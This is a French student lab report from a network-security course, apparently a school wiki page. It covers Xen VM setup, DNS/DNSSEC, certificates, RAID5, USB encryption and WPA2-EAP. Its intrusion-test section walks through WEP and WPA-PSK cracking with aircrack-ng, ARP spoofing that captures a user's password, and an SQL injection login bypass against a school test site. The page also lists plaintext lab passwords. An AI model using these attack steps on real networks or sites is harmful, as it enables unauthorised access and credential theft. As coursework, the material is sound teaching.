ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.

Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.

J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-15T22:59:10Z

Lchenu : /* Supplémentaires */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

